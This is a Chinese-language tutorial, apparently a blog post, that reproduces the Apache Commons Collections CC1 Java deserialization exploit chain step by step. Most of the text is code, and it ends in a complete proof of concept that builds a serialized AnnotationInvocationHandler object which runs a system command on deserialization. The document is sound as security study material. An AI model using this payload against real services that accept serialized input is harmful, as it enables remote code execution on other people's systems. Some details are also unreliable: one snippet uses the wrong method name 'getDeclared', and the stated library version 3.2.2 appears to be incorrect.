R### 一、環境準備:
Java環境:Java_1.8.0_8u65
Apache Commons Collections 3.2.2版本
二、漏洞簡述:
cc鏈是Apache commons collections反序列漏洞利用鏈的簡稱。可以透過構造惡意類,利用Java反序列化漏洞進行RCE。
漏洞復現:
CC1鏈源頭:org.apache.commons.collections.Transformer#transform 中的 Transformer介面。
1、觸發RCE的利用點:
(1) 檢視哪些類實現了 Transformer介面,跟進 InvokerTransformer類:
InvokerTransformer類中實現並重寫了 transform()方法:
其中 iMethodName,iParamTypes,iArgs三個引數可以透過 類InvokerTransformer公有建構函式來進行控制:
由此可以構造出一條RCE的鏈子:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTransformerRCE {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
}
}
// Class cls = input.getClass() --> Runtime.getRuntime().getClass() --> cls表示Runtime類的一個物件
//獲取Runtime類中的exec方法
// Method method = cls.getMethod(this.iMethodName, this.iParamTypes) --> cls.getMethod("exec", new Class[]{String.class})
//進行命令執行
//exec.invoke(Runtime.getRuntime(), "calc") --> Runtime.getRuntime().exec("calc");
2、利用鏈:
(一) 跟進 transform()方法,檢視其在哪些地方被呼叫,其中 transformedMap類中的checkValue()方法呼叫了transform():
分析 checkValue()方法,可以看到結果返回 valueTransformer的transform方法,向上查詢 valueTransformer是否可控。透過查詢得知 valueTransformer 在 TransformedMap方法中被賦值:
但是 TransformedMap方法的屬性為 protected,這導致該方法只有內部類可以進行訪問呼叫,繼續向上查詢,可以看到在decorate()方法中呼叫了該方法,並且屬性為public,valueTransformer值可控:
由此形成了一條利用鏈:
decorate(map, null, invokeTransformer)方法 --> TransformedMap()方法 --> valueTransformer = invokeTransformer -> checkSetValue()方法 --> invokeTransformer.transform(value)
(二) 但是 checkSetValue(Object Value)方法的屬性為 protected,這也代表著 checkSetValue只能被內部類訪問呼叫,這就需要查詢 checkSetValue()方法在哪些地方被呼叫:
IDEA提示 字類TransformedMap 中的 checkSetValue()方法實現了 父類AbstractInputCheckedMapDecorator 中的方法,跟進,發現 TransformedMap 中的 checkSetValue()方法 實現了父類中的 checkSetValue()抽象方法:
並且 父類AbstractInputCheckedMapDecorator中的 副類MapEntry中的 公有屬性的setValue()方法呼叫了checkSetValue()方法:
副類MapEntry中的 setValue()方法重寫了 AbstractMapEntryDecorator中的 checkSetValue()方法:
類AbstractMapEntryDecorator中的 setValue方法實現了 介面Map.Entry中的 setValue方法:
由此形成了一條利用鏈:
進行Map鍵值對遍歷 --> 呼叫 setValue()方法 --> 由 setValue()方法來呼叫checkValue()方法
由此可以進行命令執行:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapRCE {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
//賦值-->valueTransformer = invokerTransformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
//遍歷Map常用格式
for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}
}
(三) 由上述分析已經得知遍歷Map->entry.setValue()會造成RCE,則查詢哪些地方呼叫了 setValue()方法,並控制引數值即可,跟進 AnnotationInvocationHandle類:
來到漏洞產生的位置,AnnotationInvocationHandler類中重寫了 readObject()方法,並且進行了Map遍歷並使用了 memberValue.setValue()方法,那麼只需要 memberValues可控即可:
跟進 memberValues,可知 memberValues在類AnnotationInvocationHandler的建構函式中被賦值,但是AnnotationInvocationHandler的構造方法沒有宣告public等屬性,所以該構造方法的屬性為default,只能在本包(sun.reflect.annotation)中被呼叫,所以利用Java反射機制來呼叫該構造方法並進行賦值:
利用Java反射機制呼叫其構造方法:
//獲取AnnotationInvocationHandler類
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//獲取AnnotationInvocationHandler類的構造方法
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
//提升許可權
annotationInvocationHandlerConstructor.setAccessible(true);
//例項化物件,並給 memberValues賦值,使其可控
Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
並且類AnnotationInvocationHandler 實現了Serializable介面,可以直接進行序列化與反序列化,所以可以先序列化其例項物件,然後進行反序列化,透過利用類AnnotationInvocationHandler重寫的 readObject()方法實現RCE。
故初步完整的利用鏈POC程式碼如下所示:
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //給map一個鍵值對,方便遍歷
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 獲取sun.reflect.annotation.AnnotationInvocationHandler類的Class物件
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 獲取指定引數型別的建構函式Constructor物件,這裡我們能獲取到估計就是它的那個建構函式
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相當於提升自己許可權,以便可以訪問非公共建構函式
constructor.setAccessible(true);
//這裡第一個是引數是註解的類原型,第二個就是我們之前的類
// 使用newInstance()方法建立一個新的AnnotationInvocationHandler例項
// 傳遞Override.class和decorate兩個引數給建構函式
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定義序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定義反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
(四) 但是這段POC並不是完整的正確的POC,因為有三個利用條件上述POC並未滿足:
(1) Runtime類並未實現Serializable介面,不可以被序列化:
但是Runtime的原型類實現了 Serializable介面,可以利用Java反射來呼叫 Runtime:
//獲取 getRuntime()方法
//其中 Runtime.class -> java.lang.Runtime,Runtime.class.getClass() -> java.lang.Class
//最終呼叫為 java.lang.Class.getMethod("getDeclaredMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, "getRuntime") --> Runtime.class.getDeclaredMethod("getRuntime", null) --> Runtime.getRuntime()
Method getRuntime = (Method) new InvokerTransformer("getDeclared", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//獲取 Runtime例項
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//執行命令RCE
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(runtime);
但是上述寫法略顯冗餘,可以透過呼叫 ChainedTransformer類中方法來實現簡化。ChainedTransformer類實現了Transformer, Serializable兩介面,符合條件:
類中建構函式 ChainedTransformer(Transformer[] transformers)接受一個陣列作為引數,然後重寫 transform()方法對陣列使用 for迴圈來實現邏輯:
利用 ChainedTransformer類來簡化 Java反射Runtime的程式碼:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer(
"getDeclaredMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(runtimeClass);
(2) 符合類AnnotationInvocationHandler重寫的 readObject()方法中執行memberValue.setValue()前的兩個if條件語句:
在 readObject()方法處下斷點,發現未透過第一個 if條件的限制,原因為 memberType為空:
annotationType = AnnotationType.getInstance(type); 中的 type由建構函式傳值,值為 Override.class:
annotationType = AnnotationType.getInstance(type); 獲取 Override註解的例項 -->
Map<String, Class> memberTypes = annotationType.memberTypes();用於獲取註解的所有成員及其型別的對映 --> Class memberType = memberTypes.get(name); 用於檢視名為 name 的成員在在 memberTypes中是否存在
跟進 Override註解,可以看到註解中的成員為空,所以導致了 memberType 恆為 null,從而導致無法透過第一個 if 條件的校驗:
所以不能使用成員為空的 Override註解,換用 Target註解:
修改如下:
更換後重新進行除錯,此時已經可以透過兩個 if 條件的校驗。
(3) 雖然解決了 (1) 和 (2) 兩個問題,但是依然存在關鍵的一步問題,就是 setValue()方法中的引數此時不是理想值,因為 readObject()方法中提前寫好了 setValue()的引數值,此值使用者不可控。
可以透過利用 ConstantTransformer中的構造方法與 transform方法來解決:
最終 CC1鏈的完整POC如下:
public static void main(String[] args) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");
//建立一個Transformer數值用於儲存InvokerTransformer的資料,便於遍歷
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//呼叫含參構造器傳入Transformer陣列,然後呼叫transform方法,這裡物件只需要傳一個原始的Runtime就行,因為其他都是巢狀的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(object);
unserialize("CC1.txt");
}
//定義序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定義反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
成功RCE: